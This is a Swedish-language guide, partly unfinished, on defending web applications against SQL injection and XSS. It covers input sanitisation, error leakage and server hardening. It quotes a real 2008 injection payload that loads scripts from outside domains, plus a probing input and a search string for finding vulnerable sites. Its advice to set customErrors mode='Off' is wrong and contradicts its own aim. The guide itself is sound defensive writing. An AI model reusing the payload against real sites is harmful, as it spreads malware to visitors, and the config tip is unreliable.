From Erik\\\\\\\\\\\\\\\'s IT-Security notes
Jump to: navigation, search

Att säkra en webapplikation

Av Erik Zalitis

"Talking About Security Can Lead To Anxiety, Panic, And Dread... Or Cool Assessments, Common Sense And Practical Planning..." --Bruce Schneier

(2008-10-15) Arbete på denna guide pågår för fullt. Varje månad lägger jag till ett nytt kapitel till den. Just nu är den 20-30% färdig. På grund av att texten är en sammanställning av ett antal andra texter jag skrivit, är delarna ännu inte särskilt väl integrerade. Det kommer.

Exploits of a mom.png (From xkcd, http://xkcd.com/327/)

Inledning

Jag och mina kollegor brukar skämta om "det stora, farliga molnet" därute, då åsyftandes Internet. Man brukar ju nämligen rita Internet som ett moln i nätverksskisser. Molnet är en symbol för något vars form och sammansättning hela tiden förändras. Det är en utmärkt metafor och fungerar även när man tänker på Internet ur ett säkerhetsperspektiv. Förr i tiden talade man om "Trusted persons on trusted computers on trusted networks". Det var ofta en ursäkt för att man inte tyckte sig behöva lösenord, eller åtkomstlistor eller sanering av indata. Gång på gång har vi fått se hur farligt detta tänkande varit, när attackerna kan komma från alla håll och inte ens de interna nätet går att lita på fullt ut.

Om man tänker på webbapplikationer utifrån ett systemtänk, inser man att det inte enbart är programkoden som man måste ta hänsyn till. I själva verket spelar operativsystemet, hårdvaran, nätverket, databaslagret och kringliggande system en viktig roll för säkerheten. Det är ett mycket stort arbete att försöka täcka allt du behöver veta för att säkra ett helt system. Denna guides syfte är att belysa hur man hindrar attacker mot applikationslagret på en webbapplikation. Fokus ligger på SQL-injektioner och hur man hanterar indata.

Hur funkar det

Som jag skrev ovan, är en av de stora problemen med attacker mot webbapplikationer att de oftast slår mot webbapplikations-logiken, vilket serverhärdning inte riktigt biter på. Det räcker inte med att patcha, utan utvecklarna måste gå igenom sin asp, php, asp.net-kod eller dylikt. Dessa attacker är ett seriöst hot mot alla webbservrar som tar emot trafik från Internet.

Defacing och förändring av data <Kommer!>

Rootning av server <Kommer!>

XSS - Cross site scripting Dessa attacker försöker inte ta över själva servarna utan ger sig på användarna som kopplar upp sig mot dem. Ett exempel är att attackerna mot servrarna lägger till följande data i alla varchar-formatterade kolumner på alla databaser som är åtkomliga: "<script src=http://www.Tag58.com/b.js></script><script src=http://www.Rundll841.com/b.js></script>". När användaren får datat ur kolumnerna visat i sin webbläsare, försöker webbläsaren koppla upp mot domänerna och köra skadlig kod på användarens dator.

Under våren 2008 såg vi en våg av attacker som använde SQL-injektioner och huvudsakligen var inriktade på IIS-servrar som lagrar data med Microsoft SQL.

Kort checklista för webbapplikationer:

1. Gör man någon kontroll/sanering av data som kommer in via GET eller POST-anrop? (Tecken som ' + - % ; : är de "farligaste")
2. Presenterar databaslagret felmeddelanden direkt mot användaren eller dyker det upp ett generellt felmeddelande?
3. Måste användaren som kör mot databasen ha mer rättigheter än att läsa?
4. Kör databasanvändaren som DBO eller ännu värre System Admin?
5. Används SA-kontot för att göra uppslagningar?
6. Ger rättigheter i en webapplikation implicita rättigheter i andra system?
7. Kan man köra systemkommandon via webbapplikationen?
8. Ska webbapplikationen över huvudtaget finnas? Gamla, oanvända system kanske kan stängas.

Sanering av indata

När man tar in anrop från webben, gör man det genom en GET- eller en POST-variabel. http://www.hemsida.com/app?id=2 skapar ett GET-anrop med variabeln id satt till 2. POST-anrop skapar man via formulär i html. Det har länge hetat att POST-anropen är säkrare, eftersom man inte kan manipulera serverns headers eller bråka med webbapplikationen direkt genom webbläsarens adressrad. Man får dock vara försiktig med att resonera på det sättet, eftersom det är lätt att ändra POST-variabler via program som "Tamper data" (Firefox), "Paros Proxy" eller "Web scarab". Hur man än tar in sina data från en webbläsare måste man komma ihåg följande:

- Du kan ALDRIG lita på en klient! Räkna med att anropen från en webbläsare kan innehålla precis vad som helst.

- Ha alltid en maxlängd på varje indata-variabel. Kasta bort data som är längre än en viss längd.

- Ha alltid en minimumlängd på varje indata-variabel. Kasta bort data som är kortare än en viss längd.

- Ta emot variabeln antingen via POST eller via GET. Inte vilket som.

- Ha en vit- eller svartlistningspolicy.

Vitlistor talar om vad som är acceptabelt indata. Allt annat kastas bort. Vitlistor KRÄVER att man vet vad som ska accepteras. Ett exempel där de fungerar mycket bra är när man hanterar indata för variabler som ska ta emot siffror.

Svartlistor accepterar allt indata som inte är på listan. Dessa fungerar bra för fritextfält och andra typer av fält där det är svårt att veta vad som är lämpligt indata. Om man sanerar indata med en vitlista som bara accepterar a-z, A-Z, 0-9 kommer Örjan Andersson och José Gonzales få problem att mata in sina namn!

Lite exempel i php: $indata = $_REQUEST['indata'];

Denna rad tar emot allt du fått från POST- eller GET-variabeln "indata". Detta är ett osäkert beteende som kan leda till att XSS (Cross-site scripting) eller SQL-injektionsattacker lyckas. Dessutom bryr den sig inte om data kommer via GET- eller POST.

För följande exempel har jag använt Owasps "owasp-php-filters" som du kan ladda ner gratis här: http://www.owasp.org/index.php/OWASP_PHP_Filters

Man inkluderar php-filtret med hjälp av en include-sats i början av php-scriptet som ska skyddas. Sen kan man till exempel använda följande funktion: $indata = sanitize_paranoid_string($_REQUEST['indata'],1,15);

Detta skickar dina indata genom ett filter som tar bort allt icke-alfanumeriskt data och kräver att längden är mellan 1 och 15 tecken. Om man plockar sönder filtret, hittar man den aktiva delen $string = preg_replace("/[^a-zA-Z0-9]/", "", $string);. Själva filtret är ett reguljärt uttryck (regular expression) som ersätter allting som inte är alfanumeriskt med ingenting.

Men om man vill kunna tillåta alla tecken utom de "farliga", kommer inte detta fungera. Filtret kastar bland annat ut åäöÅÅÖ. Filtret sanitize_html_string($string) är en svartlista som tillåter alla tecken igenom utom vissa tecken som kan missbrukas. Men istället för att kasta bort de otillåtna tecknen, kodar den om dem. Tecknet < till exempel kodas om till &lt; som är en html-koden för <. I din webbläsare ser &lt; precis likadant ut som <, men kan bara tolkas som ett tecken och inte ett kommando. Ett bra sätt att demonstrera detta är att mata in följande text i ett indatafält: <H1>Stor text</H1>. Om man sedan ekar tillbaka det till en webbsida via ett script, kan man se om man får tillbaka texten som man skrev in den eller bara får fram texten "Stor text" i rubrikstil. Om man får det sistnämnda resultatet är det dags att börja fundera på säkerheten. <H1> står för heading 1 och är ett "kommando" till webbläsaren att skriva ut texten i rubrikstil. Låter inte farligt? Tänk på att det finns kommandon som <script> som låter dig infoga javascript på en sida.

Dessa exempel är lite gammalmodiga. De flesta moderna scriptspråk har redan funktioner för att htmlkoda-, sanera- och trunkera indata. Men detta borde räcka för att visa hur man kan hantera indata.

Dataläckage

Hur vet en attackerare att hans attacker har lyckats? Sanningen är att många attacker mot webbapplikationer famlar i blindo. Trots detta finns det knep för att se lista ut vad som händer i systemet även om man inte kan se felmeddelanden. Svårighetsgraden sänks dock drastiskt om man kan få tillbaka felmeddelanden i klartext.

Anta att den webbapplikation har en meny där du väljer vilket land du kommer ifrån. Valen du gör i webbläsaren skickas till webbapplikationen med en GET-variabel som heter countrycode. Ett exempel kan vara /webapp?countrycode=46. När du ändrar detta till /webapp?countrycode='46, får du följande resultat:

"Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string '46'.

/webapp.php, line 12"

Detta meddelande ekar tillbaka texten från den ODBC-tjänst som kopplar upp webbapplikationen mot databasen. "[SQL Server]" avslöjar att det är en Microsoft SQL Server som kör databasen. Dessutom får du veta vilken rad i skriptet som anropas och viktigast av allt: att alla felmeddelanden ekar tillbaka direkt till skärmen. Svårighetsgraden sänktes just ett antal pinnhål.

Om man sanerar allt indata, borde ju inte detta vara ett problem. Det är förvisso sant, men det bästa säkerhetstänket kan sammanfattas med att säkerhet måste vara med i alla delar av utvecklingen. Dessutom förstärks säkerhetsnivån när alla nivåer är härdade. Om saneringen misslyckas eller kan förbikopplas, kommer det helt plötsligt vara möjligt att börja missbruka det faktum att alla felmeddelanden ekas tillbaka.

Kort checklista för dataläckage

1. Är skriptmotorn satt att eka ut felmeddelanden med radnummer?
2. Ekar webbapplikationen ut information direkt från databaslagret?
3. Kan man få fram versionsnummer från komponenter i systemet via webbapplikationen?

Det mest önskvärda resultatet av att applikationen kraschar är ett meddelande av typ "Det uppstod ett fel i körningen. Vänligen kontakta din systemadministratör". Ett mer informativt felmeddelande bör loggas lokalt på systemet så att administratören kan börja felsöka.

I asp-världen finns en inställning som gör att den ger informativa meddelanden till de som kör lokalt på servern, men bara ett generellt meddelande till de som kopplar upp sig från nätverket. En bra idé, men tyvärr har det tidigare funnits sätt att lura systemet att man är en lokal användare. Jag rekommenderar därför inte att man använder detta, utan ändrar i web.config till: <customErrors mode="Off"/>

Att folk slarvar med att ta bort farlig information kan man lätt se genom att använda google på rätt sätt. Du kan prova att söka efter kända textsträngar och då kommer du inse hur lätt det är att hitta osäkra siter. Google indexerar ju det mesta och råkar rätt ofta ta med information som kan användas för att hitta svagheter i ett system. En person vid namn Johny Long har databas över saker man kan söka efter på http://johnny.ihackstuff.com Ett exempel från Johnnys sida är att skriva in filetype:asp + "[ODBC SQL" i google. Du kommer hitta en del sajter med databasproblem.

Felmeddelanden är inte det enda problemet. Kom ihåg att farlig information kan finnas där man minst anar. Kommentarer i javaskript är en källa till information som en driven hackare kan använda. Det finns tillfällen då programmerare har glömt kvar information om de lösenord de använt. "Kalle, använd test med lösenord testare för att logga in. Ring mig när du är klar".

Ett annat exempel är när programmerare lägger in lösenord i serverbaserade skripts. Dessa lösenord är inte läsbara, eftersom skriptet körs när man försöker anropa det. Men rätt ofta uppdaterar administratörerna sina skript och lämnar de gamla versionerna kvar med ändelsen .old. Om webbservern tillåter dig att anropa dessa, får du lätt tag i lösenordet i dem eftersom koden kommer visas i klartext. Det gäller alltså att tänka på vilka överflödiga filer och kataloger man lämnar efter sig.

Även verktyg skapar sårbarheter. Frontpage Extensions skapar kataloger med namn som _vti_inf och liknande. Dessa innehåller bland annat information om webbredaktörens inloggninsnamn.

För att hitta så många av dessa informationsläckage som möjligt behöver du ta hjälp av verktyg. Dessa kan inte ersätta manuell granskning, men de kan hjälpa till. Nikto är ett perlskript för Linux som hittar en stor mängd vanliga misskonfigureringar och kvarglömda filer på webbservrar. För Windowsfolket finns en version som heter Wikto. Andra verktyg värda att nämna är Nessus och Languard. Glöm inte heller att även "enkla" verktyg som nmap kan användas för att se hur mycket information som webbserverns tjänster läcker genom så kallad "fingerprinting".

Att försvara applikationsservern

Det är ett alldeles för stort jobb att beskriva alla inställningar som man kan göra i en webbserver. Därför tänkte jag hålla mig till relativt allmäna synpunkter. Säkerheten i webbservern är precis som säkerheten överallt: den blir bättre om man bygger den i lager. Jag tar inte upp hur man härdar operativsystemet.

Allmänna tips

Ha en patchstrategi.

För större företag är detta en självklarhet och hanteras oftast med centraliserade lösningar. För mindre företag är detta ofta manuellt jobb. Men göras måste det och det enklaste är att sätta upp patchningen enligt tillverkarens riktlinjer. Det går bra att kompilera sin egen Apache, men om du inte måste göra det, låt hellre apt-get eller yum hantera installation och uppdatering. Min erfarenhet är att hemsnickrade lösningar tenderar att bli svårhanterade med tiden.

Härda installationen

Kör webbservern med ett lågprivilegierat konto och se till att skrivrättigheter i www-katalogen inte är standard. Använder du lösenordsfiler för http-autentisering? Lägg inte dessa i en publicerad katalog. Det är sånt, hackers letar efter med hjälp av google.

Lås ner applikationsservern

Microsoft IIS säkras normalt med Urlscan och Apache med httpd.conf eller mod.security. Om du har koll på vad webbapplikationen kräver, kan du lätt låsa ner vilka http-metoder som tillåts och om vissa filändelser ska tillåtas/förbjudas. Detta minskar attackytan ytterligare.

Kasta bort skräp

Ta bort eventuella standardskript som ligger publicerade. Ta bort saker som hjälpfiler och saker som gör att man kan se konfigurationen för servern på webben. En allt för vanlig sak jag ser är att många siter har skript av typ "test.php" kvar sedan installationen. I detta skript kör man sedan phpinfo() vilket lämnar ut skrämmande mycket information. Perl-scriptet Nikto kan hjälpa dig att hitta det vanligaste junket som blir kvar. Ofta kan man hitta massor genom att söka efter underkataloger som "/old", "/files" och "/images" eller liknande. Även saker som index.old kan ge obehagliga överraskningar för system-administratören. Index.old må vara ett skript, men om man kan läsa det som en textfil kan man lätt avslöja lösenord. Lita inte på att webbserverns inställningar hindrar detta! Kasta bort filerna.

<Mer kommer>